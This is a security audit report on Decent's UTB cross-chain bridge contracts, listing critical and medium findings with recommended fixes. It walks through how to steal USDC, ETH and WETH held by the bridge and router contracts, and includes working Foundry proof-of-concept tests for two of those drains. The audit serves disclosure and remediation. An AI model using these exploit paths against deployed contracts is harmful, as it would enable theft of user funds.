Decent UTB

Security Review

Cantina Managed review by:

Desmond Ho, Lead Security Researcher

Phaze, Security Researcher

Sujith Somraaj, Security Researcher

Windhustler, Associate Security Researcher

August 23, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Decent abstracts all of the complexities associated with various chains and tokens, so user activity can seamlessly scale with the number of chains. Decent meets users where they are to create a unified experience across chains.

From Jul 7th to Jul 14th the Cantina team conducted a review of UTB on commit hash 01544b17.

The Cantina team reviewed Decent's UTB changes holistically on commit hash 189eee9e12a690da43094208100075c88f511919 and determined that all issues were resolved and no new issues were identified.

The team identified a total of **29** issues in the following risk categories:

- Critical Risk: 3
- High Risk: 0
- Medium Risk: 9
- Low Risk: 5
- Gas Optimizations: 3
- Informational: 9

3 Findings

3.1 Critical Risk

3.1.1 Tokens left from reverting sgReceive calls in the StargateBridgeAdapter contract can be stolen

Severity: Critical Risk

Context: StargateBridgeAdapter.sol#L189-L196

Description: Stargate swap on the destination chain works in the following way:

- First pool.swapRemote(...) gets called which transfers the actual bridged token to the receiver. In our case, this is the StargateBridgeAdapter contract.
- Then it calls sgReceive and executes the receiving logic.
- Router.sol:

```
function _swapRemote(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint256 _nonce,
    uint256 _srcPoolId,
    uint256 _dstPoolId,
    uint256 _dstGasForCall,
    address _to,
    Pool.SwapObj memory _s,
    bytes memory _payload
) internal {
    Pool pool = _getPool(_dstPoolId);
    // first try catch the swap remote
       try pool.swapRemote(_srcChainId, _srcPoolId, _to, _s) returns (uint256 amountLD) { // <<<
        if (_payload.length > 0) {
            // then try catch the external contract call
              try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload) { // <<<
                // do nothing
            } catch (bytes memory reason) {
                cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(pool.token(), amountLD, _to, _payload);
                emit CachedSwapSaved(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _to, _payload, reason);
            }
        }
    } catch {
        revertLookup[_srcChainId][_srcAddress][_nonce] = abi.encode(
            TYPE_SWAP_REMOTE_RETRY,
            _srcPoolId,
            _dstPoolId,
            _dstGasForCall,
            _to,
            _s,
            _payload
        );
        emit Revert(TYPE_SWAP_REMOTE_RETRY, _srcChainId, _srcAddress, _nonce);
    }
}
```

sgReceive can fail due to two reasons:

- The gasLimit paid by the user on the source is insufficient to finish the execution.
- There is a revert due to logical error, wrong encoding, revert in the underlying swap, etc...

The issue is if the sgReceive fails the bridged tokens are still transferred to the StargateBridgeAdapter and the user can retry the transaction with the clearCacheSwap call. If the bridged token is USDC and sgReceive fails there is an exploit path to steal the USDC.

The attacker needs to do the following:

- Assume the case when there is 10e6 USDC in the StargateBridgeAdapter contract.

- Initiate another cross-chain swap and specify `tokenIn == DAI` and `amountLD == 9e6`, while `swapParams.tokenIn == USDC` and `swapParams.amountIn == 10e6`.
- Due to the difference in decimal configurations of `USDC` and `DAI` tokens the attacker spends a small amount of `DAI` to transfer out and steal `USDC`.

Recommendation: There are a few changes to fix this issue. Considering there are other issues with the `sgReceive` logic the final implementation should cover everything.

- There is no check for minimum `gasLimit` for `sgReceive` on the sending side. Consider enforcing a minimum value sufficient for executing all the logic outside of `try/catch` in the `sgReceive`, e.g. decoding payload, refunds, approvals etc...
- `swapParams.amountIn` should never be greater than `amountLD`. Consider enforcing `if (swapParams.amountIn > amountLD) swapParams.amountIn = amountLD;` after decoding and instantiating `swapParams`.
- There is a special case transferring `ETH` covered in another issue. In all other cases `swapParams.tokenIn` should be equal to `bridgedToken`.
- There should be no dangling allowances at the end of the `sgReceive` call. Revoke the approvals to the `UTB` contract if given at the end of the execution.

3.1.2 `sgReceive` refund mechanism leads to token loss when bridging ETH

Severity: Critical Risk

Context: StargateBridgeAdapter.sol#L228-L232

Description: `sgReceive` logic inside the `StargateBridgeAdapter` tries to refund the user if `UTB.receiveFromBridge(...)` call has failed or the amount of tokens transferred is higher than specified in the swap parameters. Refunds are likely to occur often due to swap data getting outdated or due to small disparities between the `amountLD` and `swapParams.amountIn`. The refund logic assumes that in case of bridging `ETH` through Stargate `tokenIn` passed to `sgReceive` equals to `address(0)`.

See the following sequence of transactions:

1. Transferring ETH on Ethereum.
2. Receiving ETH on Arbitrum.

Both transactions can also be seen through LayerZeroScan. To figure out the value of `tokenIn` we can debug the transaction on Arbitrum through Tenderly.

~~~
```solidity
function _swapRemote(
  uint16 _srcChainId,
  bytes memory _srcAddress,
  uint256 _nonce,
  uint256 _srcPoolId,
  uint256 _dstPoolId,
  uint256 _dstGasForCall,
  address _to,
  Pool.SwapObj memory _s,
  bytes memory _payload
) internal {
             Pool pool = _getPool(_dstPoolId); // <<<
  // first try catch the swap remote
  try pool.swapRemote(_srcChainId, _srcPoolId, _to, _s) returns (uint256 amountLD) {
      if (_payload.length > 0) {
          // then try catch the external contract call
                     try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress,
                     ↪  _nonce, pool.token(), amountLD, _payload) { // <<<
              // do nothing
          } catch (bytes memory reason) {
              cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(pool.token(), amountLD, _to,
              ↪  _payload);
              emit CachedSwapSaved(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _to, _payload,
              ↪  reason);
          }
      }
  } catch {
      revertLookup[_srcChainId][_srcAddress][_nonce] = abi.encode(
          TYPE_SWAP_REMOTE_RETRY,
          _srcPoolId,
          _dstPoolId,
          _dstGasForCall,
          _to,
          _s,
          _payload
      );
      emit Revert(TYPE_SWAP_REMOTE_RETRY, _srcChainId, _srcAddress, _nonce);
  }
}
```
~~~

- The pool is the Stargate Ether Vault LP.
- `pool.token()` is not `address(0)` and this is the actual vault where `ETH` is stored and transferred from to the `StargateBridgeAdapter`.

In conclusion `sgReceive` is being called with `tokenIn == 0x82CbeCF39bEe528B5476FE6d1550af59a9dB6Fc0`.

With the current implementation, the `ETH` would be transferred into the `StargateBridgeAdapter` contract but the refund would try to transfer a token it doesn't have on its balance. As a consequence, `sgReceive` would revert, but the `ETH` would be transferred to the contract. This is due to the fact that Stargate first transfers the token and then calls `sgReceive` inside a `try/catch`:

```
try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(),
↪   amountLD, _payload);
```

All the ETH sitting in the contract can be stolen by utilizing it to execute a `bridge` call and specify a higher `msg.value` amount than the Stargate fee, causing the excess to be refunded to an arbitrary address.

Proof of concept: Modify `StargateBridgeAdapter` to ignore the payload and encode dummy parameters. For the test, `MockStargateBridgeAdapter` was created.

```
function sgReceive(
    uint16, // _srcChainid
    bytes memory, // _srcAddress
    uint256, // _nonce
    address tokenIn, // _token
    uint256 amountLD, // amountLD
    bytes memory payload
) external override onlyExecutor {
    // (
    //     SwapInstructions memory postBridge,
```

```
    //     address target,
    //     address paymentOperator,
    //     bytes memory utbPayload,
    //     address payable refund
    // ) = abi.decode(
    //         payload,
    //         (SwapInstructions, address, address, bytes, address)
    //     );

    // SwapParams memory swapParams = abi.decode(
    //     postBridge.swapPayload,
    //     (SwapParams)
    // );
    SwapParams memory swapParams = SwapParams({
        tokenIn: address(0),
        amountIn: 49970000000000000,
        amountOut: 0,
        tokenOut: address(0),
        direction: 0,
        path: ''
    });

    // empty data, will revert because adapter not whitelisted anyway
    SwapInstructions memory postBridge;
    address target;
    address paymentOperator;
    bytes memory utbPayload;
    address payable refund;


    uint256 bridgeValue;
    if (swapParams.tokenIn == address(0) ) {
        bridgeValue = swapParams.amountIn;
    } else {
        SafeERC20.forceApprove(IERC20(swapParams.tokenIn), utb, swapParams.amountIn);
    }

    try IUTB(utb).receiveFromBridge{value: bridgeValue}(
        postBridge,
        target,
        paymentOperator,
        utbPayload,
        refund,
        ID
    ) {
        if ( amountLD > swapParams.amountIn ) {
            _refundUser(refund, tokenIn, amountLD - swapParams.amountIn);
        }
    } catch (bytes memory) {
        _refundUser(refund, tokenIn, amountLD);
    }
}
```

Next, run the test below:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/console2.sol";
import {Test} from "forge-std/Test.sol";
import {MockStargateBridgeAdapter} from "./helpers/MockStargateBridgeAdapter.sol";
import {UTB} from "./../src/UTB.sol";
import {console2 as console} from "./../lib/forge-std/src/console2.sol";

contract AdapterPOC is Test {
    function test_badEthTransfer() public {
        vm.createSelectFork(vm.rpcUrl("arbitrum"), 231067878);
        MockStargateBridgeAdapter stargateBridgeAdapter = new MockStargateBridgeAdapter();
        UTB utb = new UTB();
        address targetAdapter = 0xCa10E8825FA9F1dB0651Cd48A9097997DBf7615d;
        vm.etch(targetAdapter, address(stargateBridgeAdapter).code);
        address stargateComposer = address(0xeCc19E177d24551aA7ed6Bc6FE566eCa726CC8a9);
        stargateBridgeAdapter = MockStargateBridgeAdapter(payable(targetAdapter));
        // slot 1: UTB
        vm.store(targetAdapter, bytes32(uint256(1)), addressToBytes32(address(utb)));
        // slot 2: bridgeExecutor
        vm.store(targetAdapter, bytes32(uint256(2)), addressToBytes32(address(stargateComposer)));
        // slot 6: router
        vm.store(targetAdapter, bytes32(uint256(6)), addressToBytes32(address(stargateComposer)));
        // now we try replaying the tx data
        address lzExecutor = address(0xe93685f3bBA03016F02bD1828BaDD6195988D950);
        address lzRelayer = address(0x177d36dBE2271A4DdB2Ad8304d82628eb921d790);
        uint256 balanceBefore = targetAdapter.balance;
        vm.prank(lzExecutor);
        bytes memory initialCallData = hex"252f7b0100000000000000000000000000000000000000000000000000000000000
↪   00065000000000000000000000000352d8275aae3e0c2404d9f68f6cee084b5beb3dd0000000000000000000000000000000000000
↪   0000000000000000000001a79588ecc22bbc9ff6ddabfba4da27651bf899532386a1eb5d460c3ee54d6f90aee4b8ecc22bbc9ff6dd
↪   abfba4da27651bf899532386a1eb5d460c3ee54d6f90aee4b000000000000000000000000000000000000000000000000000000000
↪   00000c000000000000000000000000000000000000000000000000000000000000003b40000000000000000000000004d73adb72bc
↪   3dd368966edd0f0b2148401a178e2000000000002c4d70065296f55f8fb28e498b858d0bcda06d955b2cb3f97006e352d8275aae3e
↪   0c2404d9f68f6cee084b5beb3dd000000000000000000000000000000000000000000000000000000000000010000000000000000
↪   000000000000000000000000000000000000000000000000d000000000000000000000000000000000000000000000000000000000
↪   000000d000000000000000000000000000000000000000000000000000000000088b80000000000000000000000000000000000000
↪   000000000000000000000000000000000000000000000000000000000000000000000000000576cb53531002110f70000000000000
↪   0000000000000000000000000000000000000b18773436d200000000000000000000000000000000000000000000000000000000015
↪   d3ef798000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
↪   0000000000000000000000000000000000000000000000000000000000000000000000000000000000019ebac60480000000000000
↪   000000000000000000000000000000000000000b1a2bc2ec5000000000000000000000000000000000000000000000000000000000
↪   000000001c00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000
↪   000000000000000000000000000000014ecc19e177d24551aa7ed6bc6fe566eca726cc8a9000000000000000000000000000000000
↪   0000000000000000000000000000000000000000000000000000128ca10e8825fa9f1db0651cd48a9097997dbf7615dca10e8825fa
↪   9f1db0651cd48a9097997dbf7615d00000000000000000000000000000000000000000000000003496531f7b2a7fd0000000000000
↪   0000000000072945fef26430db0213be99afe946e691b398a77000000000000000000000000af88d065e77c8cc2239327c5edb3a43
↪   2268e5831000000000000000000000000000000000000000000000000000000000009405d6d000000000000000000000000000000000
↪   00000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000
↪   000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000
↪   00000000000000000000000000000000000000000000000000000000000000000000000000000000000";
        // reverts internally from trying to transfer token = 0x82CbeCF39bEe528B5476FE6d1550af59a9dB6Fc0
       // but the native ETH still gets sent, because the revert is caught in a parent try-catch
        lzRelayer.call(initialCallData);
        uint256 balanceAfter = targetAdapter.balance;
        // the example tx sends 0.04997 ETH, which can be drained subsequently by other calls
        assertEq(balanceAfter - balanceBefore, 49970000000000000);
    }

    function addressToBytes32(address _addr) internal pure returns (bytes32) {
        return bytes32(uint256(uint160(_addr)));
    }
}
```

Recommendation: You should keep a reference to the SGETH Vault deployed on every chain inside the `StargateBridgeAdapter` and if the `tokenIn` is `SGETH` refund in native tokens, otherwise refund the `tokenIn`.

3.1.3 `lzCompose` can be abused to steal `dcntETH` and `WETH` from `DecentEthRouter` due to insufficient parameter validation

Severity: Critical Risk

Context: DecentEthRouter.sol#L238-L244

Description: Composing calls is a feature LayerZeroV2 supports that allows calling Endpoint's `sendCompose` function to deliver a composed call to another contract on the destination chain via `lzCompose`. More on the functionality inside the LayerZero documentation.

In the context of `dcntETH` and `DecentEthRouter` the intended functionality is:

- `DecentEthRouter.sol`

```

/// @inheritdoc IDecentEthRouter
function bridgeWithPayload(
uint32 dstChainId,
address toAddress,
address refundAddress,
uint amount,
bool deliverEth,
uint64 dstGasForCall,
bytes memory payload
) public payable onlyOperator {
        return _bridgeWithPayload(
            BridgeCall({
                msgType: MT_ETH_TRANSFER_WITH_PAYLOAD,
                dstChainId: dstChainId,
                toAddress: toAddress,
                refundAddress: refundAddress,
                amount: amount,
                dstGasForCall: dstGasForCall,
                deliverEth: deliverEth,
                payload: payload
            })
        );
    }


    function _bridgeWithPayload(BridgeCall memory bridgeCall) internal {
        SendParam memory sendParam = _getCallParams(bridgeCall);

        MessagingFee memory messagingFee = dcntEth.quoteSend(sendParam, false);

        uint gasValue;
        if (gasCurrencyIsEth) {
            weth.deposit{value: bridgeCall.amount}();
            gasValue = msg.value - bridgeCall.amount;
        } else {
            weth.transferFrom(msg.sender, address(this), bridgeCall.amount);
            gasValue = msg.value;
        }

        dcntEth.send{value: gasValue}(
            sendParam,
            messagingFee,
            bridgeCall.refundAddress
        );
    }
```

- OFTCore.sol

```
    function _lzReceive(
        Origin calldata _origin,
        bytes32 _guid,
        bytes calldata _message,
        address /*_executor*/, // @dev unused in the default implementation.
        bytes calldata /*_extraData*/ // @dev unused in the default implementation.
    ) internal virtual override {
        // @dev The src sending chain doesnt know the address length on this chain (potentially non-evm)
        // Thus everything is bytes32() encoded in flight.
        address toAddress = _message.sendTo().bytes32ToAddress();
        // @dev Credit the amountLD to the recipient and return the ACTUAL amount the recipient received in
↪   local decimals
        uint256 amountReceivedLD = _credit(toAddress, _toLD(_message.amountSD()), _origin.srcEid);

        if (_message.isComposed()) {
            // @dev Proprietary composeMsg format for the OFT.
            bytes memory composeMsg = OFTComposeMsgCodec.encode(
                _origin.nonce,
                _origin.srcEid,
                amountReceivedLD,
                _message.composeMsg()
            );

            // @dev Stores the lzCompose payload that will be executed in a separate tx.
            // Standardizes functionality for executing arbitrary contract invocation on some non-evm
↪   chains.
            // @dev The off-chain executor will listen and process the msg based on the src-chain-callers
↪   compose options passed.
            // @dev The index is used when a OApp needs to compose multiple msgs on lzReceive.
            // For default OFT implementation there is only 1 compose msg per lzReceive, thus its always 0.
            endpoint.sendCompose(toAddress, _guid, 0 /* the index of the composed message*/, composeMsg);
        }

        emit OFTReceived(_guid, _origin.srcEid, toAddress, amountReceivedLD);
    }
```

- **Source Chain:**

  - User calling `bridge/bridgeWithPayload` which transfers `ETH` or `WETH` from the user into the `DecentEthRouter`.
  - `dcntEth.send()` function invocation that debits that same amount of `dcntEth` from `DecentEthRouter` and sends a LayerZero message.
- **Destination Chain:**
  - The first transaction starts by calling `Endpoint.lzReceive()` which calls into the receiving app's `lzReceive` implementation.
  - `lzReceive` credits the `dcntEth` amount to the `DecentEthRouter` and calls `sendCompose` to register the composed message.
  - In another transaction, the LayerZero executor calls the `lzCompose` which takes the execution path specified in the message.

There are a few issues at play here:

- `lzCompose` can be registered by anyone
  - `MessagingComposer.sol`

~~~
```solidity
function sendCompose(address _to, bytes32 _guid, uint16 _index, bytes calldata _message)
↪   external {
    // must have not been sent before
    if (composeQueue[msg.sender][_to][_guid][_index] != NO_MESSAGE_HASH) revert
    ↪   Errors.LZ_ComposeExists();
    composeQueue[msg.sender][_to][_guid][_index] = keccak256(_message);
    emit ComposeSent(msg.sender, _to, _guid, _index, _message);
}

function lzCompose(
address _from,
address _to,
bytes32 _guid,
uint16 _index,
bytes calldata _message,
bytes calldata _extraData
) external payable {
    // assert the validity
    bytes32 expectedHash = composeQueue[_from][_to][_guid][_index];
    bytes32 actualHash = keccak256(_message);
    if (expectedHash != actualHash) revert Errors.LZ_ComposeNotFound(expectedHash, actualHash);

    // marks the message as received to prevent reentrancy
    // cannot just delete the value, otherwise the message can be sent again and could result
    ↪   in some undefined behaviour
    // even though the sender(composing Oapp) is implicitly fully trusted by the composer.
    // eg. sender may not even realize it has such a bug
    composeQueue[_from][_to][_guid][_index] = RECEIVED_MESSAGE_HASH;
    ILayerZeroComposer(_to).lzCompose{ value: msg.value }(_from, _guid, _message, msg.sender,
    ↪   _extraData);
    emit ComposeDelivered(_from, _to, _guid, _index);
}
```
~~~

  The `from` or the sender of `sendCompose` call is not validated inside the `DecentEthRouter.lzCompose(...)` function. The only validation done is checking if the caller is the `Endpoint` contract. This means that anyone can call `sendCompose` and specify `to == DecentEthRouter` and construct a message that drains its `WETH/ETH` balance.

- The amount encoded inside the composed message is different than the debited amount:

  Another issue is that a user can directly call `OFTCore.send()` function on the `dcntETH`, debit a zero amount of his `OFT` but encode an arbitrary amount inside the composed message. When the message gets executed on the destination chain he can steal all the balances of `DecentEthRouter`.

Proof of concept: on the arbitrary amount encoding, add into `UTB.t.sol` with the additional imports below.

```
import "@layerzerolabs/lz-evm-oapp-v2/contracts/oft/interfaces/IOFT.sol";
import {IERC20} from "./../lib/forge-std/src/interfaces/IERC20.sol";
```

```
function test_callDcntEthSendWithArbitraryAmount() public {
    vm.stopPrank();
    deal(TEST.EOA.bob, 1 ether);
    vm.startPrank(TEST.EOA.bob);
    TEST.DST.decentEthRouter.addLiquidityEth{value: 1 ether}();
    vm.startPrank(TEST.EOA.alice);
    bytes memory options = OptionsBuilder.newOptions()
        .addExecutorLzReceiveOption(TEST.DST.decentEthRouter.GAS_FOR_RELAY(), 0)
        .addExecutorLzComposeOption(0, GAS_TO_MINT, 0);

    bytes memory message = abi.encode(
        0, // msg type
        TEST.EOA.alice, // to address
        TEST.EOA.alice, // refund address
        1e18, // arbitrary amount
        false
    );

    SendParam memory sendParam = SendParam({
        dstEid: uint32(TEST.LZ.dstId),
        to: addressToBytes32(address(TEST.DST.decentEthRouter)),
        amountLD: 0,
        minAmountLD: 0,
        extraOptions: options,
        composeMsg: message,
        oftCmd: ""
    });
    MessagingFee memory messagingFee = TEST.SRC.dcntEth.quoteSend(sendParam, false);
    (MessagingReceipt memory msgReceipt, ) = TEST.SRC.dcntEth.send{value: messagingFee.nativeFee}(
        sendParam,
        messagingFee,
        TEST.EOA.alice
    );

    verifyPackets(
        TEST.LZ.dstId,
        addressToBytes32(address(TEST.DST.dcntEth))
    );

    // lzCompose params
    uint32 dstEid_ = TEST.LZ.dstId;
    address from_ = address(TEST.DST.dcntEth);
    bytes memory options_ = options;
    bytes32 guid_ = msgReceipt.guid;
    address to_ = address(TEST.DST.decentEthRouter);
    bytes memory composerMsg_ = OFTComposeMsgCodec.encode(
        msgReceipt.nonce,
        TEST.LZ.srcId,
        0,
        abi.encodePacked(addressToBytes32(TEST.EOA.alice), message)
    );

    uint256 balBefore = IERC20(TEST.CONFIG.weth).balanceOf(TEST.EOA.alice);
    this.lzCompose(dstEid_, from_, options_, guid_, to_, composerMsg_);
    uint256 balAfter = IERC20(TEST.CONFIG.weth).balanceOf(TEST.EOA.alice);
    assertEq(balAfter - balBefore, 1 ether);
}
```

Recommendation: Check that the `from` address is equal to `dcntETH` and make sure to only use the composed message's `amountLD`, not the arbitrarily encoded one.

```
  function lzCompose(
-          address /*_from*/,
+        address from,
      bytes32 /*_guid*/,
      bytes calldata _message,
      address /*_executor*/,
      bytes calldata /*_extraData*/
  ) external payable onlyLzApp {
+          require(from == address(dcntEth));
+          uint256 amount = OFTComposeMsgCodec.amountLD(_message);
      bytes memory composeMsg = OFTComposeMsgCodec.composeMsg(_message);

      (
          uint8 msgType,
          address to,
          address refundAddress,
-              uint256 amount,
+              ,
          bool deliverEth
      ) = abi.decode(composeMsg, (uint8, address, address, uint256, bool));
```

3.2 Medium Risk

3.2.1 Privileged role and actions across DecentEthRouter and DcntEth logic lead to centralization risks for users

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: Several onlyAdmin functions across the DecentEthRouter and DcntETH logic affect critical protocol state and semantics, leading to centralization risk for users. Some examples are highlighted below:

- mintByAdmin can arbitrarily mint a large quantity of DcntETH, devaluing its peg.
- burnByAdmin can arbitrarily burn DcntETH from any user or even the router and bring the supply to zero.
- setWeth in DecentEthRouter can set a random address as WETH and mint arbitrary amounts of DcntETH (or) affecting the entire deposit / redeem process.
- registerSwapper can replace valid swappers with malicious swappers, thereby stealing user funds. registerBridge can add malicious bridge IDs or replace existing bridge IDs with malicious IDs to steal user funds.
- setSigner can be set to address(0) to bypass all fee checks.

Recommendation: Consider:

- Documenting the privileged role and actions for protocol user awareness.
- Enforcing role-based access control, where different privileged roles control different protocol aspects and are backed by other keys, to follow the separation-of-privileges security design principle.
- Emitting events for all privileged actions.
- Privilege actions affecting critical protocol semantics should be locked behind timelocks so users can decide to exit or engage.
- Following the strictest opsec guidelines for privileged keys, e.g., use of reasonable multi-sig and hardware wallets.

3.2.2 Lack of `chain ID` and `deadline` validation in fee data

Severity: Medium Risk

Context: UTB.sol#L168, UTB.sol#L292

Description: The current implementation of the `_retrieveAndCollectFees` function processes the fee data without checking if the transaction is executed on the correct chain or within a valid timeframe. This can expose the contract to replay attacks or allow transactions to be processed outside the intended context.

Impact:

- Replay Attacks: A signed transaction intended for one blockchain could be replayed on another without chain ID validation.
- Transaction Expiry: Without a deadline, a transaction could be executed long after it was intended, potentially causing unexpected behavior or losses.

Recommendation:

- Update the FeeData structure to include `chain ID` and `deadline`:

```
struct FeeData {
    uint256 bridgeFee;
    Fee[] appFees;
    uint256 chainId; // add chain ID
    uint256 deadline; // add deadline
}
```

- Update the `_retrieveAndCollectFees` function to check the `chain ID` and `deadline`:

```
function _retrieveAndCollectFees(
    FeeData calldata feeData,
    bytes memory packedInfo,
    bytes calldata signature
) private returns (uint256 value) {
    require(feeData.chainId == block.chainid, "Invalid chain ID");
    require(block.timestamp <= feeData.deadline, "Transaction expired");
    ....
}
```

3.2.3 Missing validation in `verifySignature` allows bypass with default configuration

Severity: Medium Risk

Context: UTBFeeManager.sol#L28

Description: The `verifySignature` function in the `UTBFeeManager` contract is used to verify if the signer address configured on the `UTBFeeManager` contract has signed the encoded data. However, there is a lack of proper validation, allowing a bypass of the signature mechanism with the default configuration.

The `signer` address is not set in the constructors, so the signer is defaulted to `address(0)`. This enables unauthorized access when `address(0)` is used as the signer.

Recommendation:

- Initialize Signer Addresses: Ensure that `signer` is properly initialized in the constructor.
- Validation: Add a check for `address(0)` after performing `ecrecover` in `verifySignature`.

```
  function verifySignature(
    bytes memory packedInfo,
    bytes memory signature
  ) public view {
    bytes32 constructedHash = keccak256(
        abi.encodePacked(BANNER, keccak256(packedInfo))
    );
    (bytes32 r, bytes32 s, uint8 v) = splitSignature(signature);
    address recovered = ecrecover(constructedHash, v, r, s);
+   if(recovered == address(0)) revert ZeroSig();
    if (recovered != signer) revert WrongSig();
  }
```

3.2.4 Slippage is always deducted from token swap inputs

Severity: Medium Risk

Context: StargateBridgeAdapter.sol#L189-L234

Description: The new swap parameters on the destination chain specify a token amount in (`newPostSwapParams.amountIn`). This is the amount that is sent to the pool to be swapped for another token. Yet, it is not the final amount received on the destination chain. Therefore, it is possible that not all received tokens are forwarded to the swapping contract and that some remain in the bridge contracts.

When using the `StargateBridgeAdapter`, a maximum slippage can be specified on the destination chain. This is accounted for in the `getBridgedAmount` function which reduces the amount to bridge by the fees and the slippage.

```
function getBridgedAmount(
    uint256 amt2Bridge,
    address /*preBridgeToken*/,
    address /*postBridgeToken*/,
    bytes calldata additionalArgs
) external pure returns (uint256) {
    return (amt2Bridge * (100_00 - getSlippage(additionalArgs) - SG_FEE_BPS)) / 100_00;
}
```

This should correspond to the minimum amount accepted on the destination chain. However, currently, this amount is assigned to the post swap parameters' `amountIn` parameter. The received amount is noted as `amountLD` in the `sgReceive` function.

```
function sgReceive(
    uint16, // _srcChainid
    bytes memory, // _srcAddress
    uint256, // _nonce
    address tokenIn, // _token
    uint256 amountLD, // amountLD
    bytes memory payload
) external override onlyExecutor {
    (
        SwapInstructions memory postBridge,
        address target,
        address paymentOperator,
        bytes memory utbPayload,
        address payable refund
    ) = abi.decode(
            payload,
            (SwapInstructions, address, address, bytes, address)
        );

    SwapParams memory swapParams = abi.decode(
        postBridge.swapPayload,
        (SwapParams)
    );

    uint256 bridgeValue;
    if ( swapParams.tokenIn == address(0) ) {
        bridgeValue = swapParams.amountIn;
    } else {
        SafeERC20.forceApprove(IERC20(swapParams.tokenIn), utb, swapParams.amountIn);
    }

    try IUTB(utb).receiveFromBridge{value: bridgeValue}(
        postBridge,
        target,
        paymentOperator,
        utbPayload,
        refund,
        ID
    ) {
        if ( amountLD > swapParams.amountIn ) {
            _refundUser(refund, tokenIn, amountLD - swapParams.amountIn);
        }
    } catch (bytes memory) {
        _refundUser(refund, tokenIn, amountLD);
    }
}
```

Currently, there is no possibility for the user to swap the received output entirely. If the user receives more than the minimum specified amount, only the minimum amount specified is forwarded to the `UTB` contract for a final swap. The rest is directly returned to the user.

Recommendation: Forward the entire amount `amountLD` instead of `swapParams.amountIn` to the `UTB` contract.

3.2.5 Target contracts are not whitelisted

Severity: Medium Risk

Context: UTBExecutor.sol#L36, UTBExecutor.sol#L49, UTBExecutor.sol#L54, DecentBridgeExecutor.sol#L37, DecentBridgeExecutor.sol#L65, AnySwapper.sol#L56, AnySwapper.sol#L70

Description: Executor contracts don't hold any state and shouldn't be holding any assets but the target is never whitelisted. This opens up the possibility of a malicious actor interacting with targets that might get the Executor on a blacklist of any of the popular tokens such as USDC. This can be achieved for instance by interacting with Tornado Cash or some other sanctioned protocol. If this is achieved the executor contracts would become unusable for regular users.

Recommendation: Consider keeping a whitelist of targets in all the contracts that allow arbitrary target function calls.

3.2.6 Stargate Pools conversion rate leads to token accumulation inside the `StargateBridgeAdapter` contract

Severity: Medium Risk

Context: StargateBridgeAdapter.sol#L181

Description: Stargate pools have a concept of convert rate. It's calculated based on the `sharedDecimals` and `localDecimals` for a specific pool. For example, the `DAI` Pool has the `sharedDecimals` set to 6 while `localDecimals` is 18. The convert rate is then: `10^(localDecimals - sharedDecimals) = 10^12`.

Here is the DAI Pool on Ethereum and the convert rate logic inside the Pool contract.

If the `amt2Bridge` is not a multiple of the `conversionRate` this will lead to dust amounts accumulating inside the `StargateBridgeAdapter` contract and dangling allowances from `StargateBridgeAdapter` contract to `StargateComposer`. Here is a piece of code where this dust amount is removed inside the Stargate contracts:

- `Router.sol`

```
function swap(
    uint16 _dstChainId,
    uint256 _srcPoolId,
    uint256 _dstPoolId,
    address payable _refundAddress,
    uint256 _amountLD,
    uint256 _minAmountLD,
    lzTxObj memory _lzTxParams,
    bytes calldata _to,
    bytes calldata _payload
) external payable override nonReentrant {
    require(_amountLD > 0, "Stargate: cannot swap 0");
    require(_refundAddress != address(0x0), "Stargate: _refundAddress cannot be 0x0");
    Pool.SwapObj memory s;
    Pool.CreditObj memory c;
    {
        Pool pool = _getPool(_srcPoolId);
        {
               uint256 convertRate = pool.convertRate(); // <<<
               _amountLD = _amountLD.div(convertRate).mul(convertRate); // <<<
        }

        s = pool.swap(_dstChainId, _dstPoolId, msg.sender, _amountLD, _minAmountLD, true);
           _safeTransferFrom(pool.token(), msg.sender, address(pool), _amountLD); // <<<
        c = pool.sendCredits(_dstChainId, _dstPoolId);
    }
    bridge.swap{value: msg.value}(_dstChainId, _srcPoolId, _dstPoolId, _refundAddress, c, s,
↪  _lzTxParams, _to, _payload);
}
```

The likelihood of this occurring often is high as `amt2Bridge` is the output token amount after the swap.

Recommendation: If `convertRate != 1` for the Stargate pool of the bridged token consider adjusting the `amt2Bridge` amount and refunding the difference to the user.

```
